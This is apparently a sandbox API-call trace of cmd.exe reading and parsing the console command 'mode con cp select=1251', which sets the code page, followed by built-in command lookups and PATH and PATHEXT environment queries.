[0032.448] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.448] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.448] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.448] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0032.448] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.448] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.448] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.448] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0032.448] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.448] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.448] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.448] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0032.448] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.448] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.448] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.448] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0032.448] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.448] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.448] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.448] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0032.448] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.448] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.448] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.448] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0032.448] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.448] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.449] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.449] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0032.449] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.449] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.449] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.449] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0032.449] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.449] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.449] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.449] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0032.449] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.449] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.449] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.449] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0032.449] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.449] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.449] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.449] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0032.449] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.449] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.449] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.449] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0032.449] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.449] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.449] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.449] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0032.449] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.449] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.450] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0032.450] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.450] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.450] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0032.450] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.450] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.450] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0032.450] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.450] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.450] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0032.450] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.450] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.450] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0032.450] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.450] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.450] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0032.450] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.450] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.450] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0032.450] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.450] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.450] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.451] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0032.451] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.451] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.451] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.451] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0032.451] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.451] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.451] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.451] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0032.451] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.451] GetFileType (hFile=0xe8) returned 0x3 [0032.451] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.451] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.451] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.451] GetFileType (hFile=0xf4) returned 0x3 [0032.451] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4ac1c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0032.452] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac1c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x18fa08, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesWritten=0x18fa08*=0x18, lpOverlapped=0x0) returned 1 [0032.452] GetProcessHeap () returned 0x290000 [0032.452] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x4012) returned 0x2acd20 [0032.452] GetProcessHeap () returned 0x290000 [0032.452] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acd20 | out: hHeap=0x290000) returned 1 [0032.452] _wcsicmp (_String1="mode", _String2=")") returned 68 [0032.452] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0032.452] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0032.452] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0032.452] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0032.452] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0032.452] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0032.452] GetProcessHeap () returned 0x290000 [0032.452] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0) returned 0x2a97e0 [0032.452] GetProcessHeap () returned 0x290000 [0032.452] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1a) returned 0x2a4610 [0032.453] GetProcessHeap () returned 0x290000 [0032.453] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x38) returned 0x2a6510 [0032.453] GetConsoleOutputCP () returned 0x1b5 [0032.453] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ac1bfe0 | out: lpCPInfo=0x4ac1bfe0) returned 1 [0032.453] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0032.454] GetConsoleTitleW (in: lpConsoleTitle=0x18f9c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0032.454] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0032.454] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0032.454] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0032.454] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0032.454] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0032.454] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0032.454] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0032.454] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0032.454] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0032.454] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0032.454] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0032.454] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0032.454] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0032.454] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0032.454] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0032.454] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0032.454] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0032.454] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0032.454] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0032.454] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0032.454] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0032.454] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0032.454] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0032.454] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0032.455] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0032.455] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0032.455] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0032.455] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0032.455] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0032.455] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0032.455] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0032.455] _wcsicmp (_String1="mode", _String2="START") returned -6 [0032.455] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0032.455] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0032.455] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0032.455] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0032.455] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0032.455] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0032.455] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0032.455] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0032.455] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0032.455] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0032.455] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0032.455] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0032.455] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0032.455] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0032.455] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0032.455] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0032.455] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0032.455] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0032.455] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0032.455] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0032.455] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0032.455] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0032.455] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0032.455] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0032.455] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0032.455] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0032.455] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0032.455] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0032.455] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0032.455] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0032.455] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0032.455] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0032.456] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0032.456] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0032.456] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0032.456] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0032.456] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0032.456] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0032.456] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0032.456] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0032.456] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0032.456] _wcsicmp (_String1="mode", _String2="START") returned -6 [0032.456] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0032.456] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0032.456] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0032.456] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0032.456] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0032.456] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0032.456] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0032.456] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0032.456] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0032.456] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0032.456] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0032.456] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0032.456] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0032.456] GetProcessHeap () returned 0x290000 [0032.456] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x218) returned 0x291ab0 [0032.456] GetProcessHeap () returned 0x290000 [0032.456] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x42) returned 0x2a98a0 [0032.456] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0032.457] GetProcessHeap () returned 0x290000 [0032.457] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x420) returned 0x2a9a80 [0032.457] SetErrorMode (uMode=0x0) returned 0x0 [0032.457] SetErrorMode (uMode=0x1) returned 0x0 [0032.457] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2a9a90, lpFilePart=0x18f250 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18f250*="Desktop") returned 0x25 [0032.457] SetErrorMode (uMode=0x0) returned 0x1 [0032.457] GetProcessHeap () returned 0x290000 [0032.457] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9a80, Size=0x66) returned 0x2a9a80 [0032.457] GetProcessHeap () returned 0x290000 [0032.457] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9a80) returned 0x66 [0032.457] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ac0f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0032.457] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0032.457] GetProcessHeap () returned 0x290000 [0032.457] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x128) returned 0x291cd0 [0032.457] GetProcessHeap () returned 0x290000 [0032.457] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x240) returned 0x2a9b00 [0032.463] GetProcessHeap () returned 0x290000 [0032.463] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9b00, Size=0x12a) returned 0x2a9b00 [0032.463] GetProcessHeap () returned 0x290000 [0032.463] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9b00) returned 0x12a [0032.463] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ac0f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0032.463] GetProcessHeap () returned 0x290000 [0032.463] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xe8) returned 0x2a5b70 [0032.463] GetProcessHeap () returned 0x290000 [0032.463] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a5b70, Size=0x7e) returned 0x2a5b70 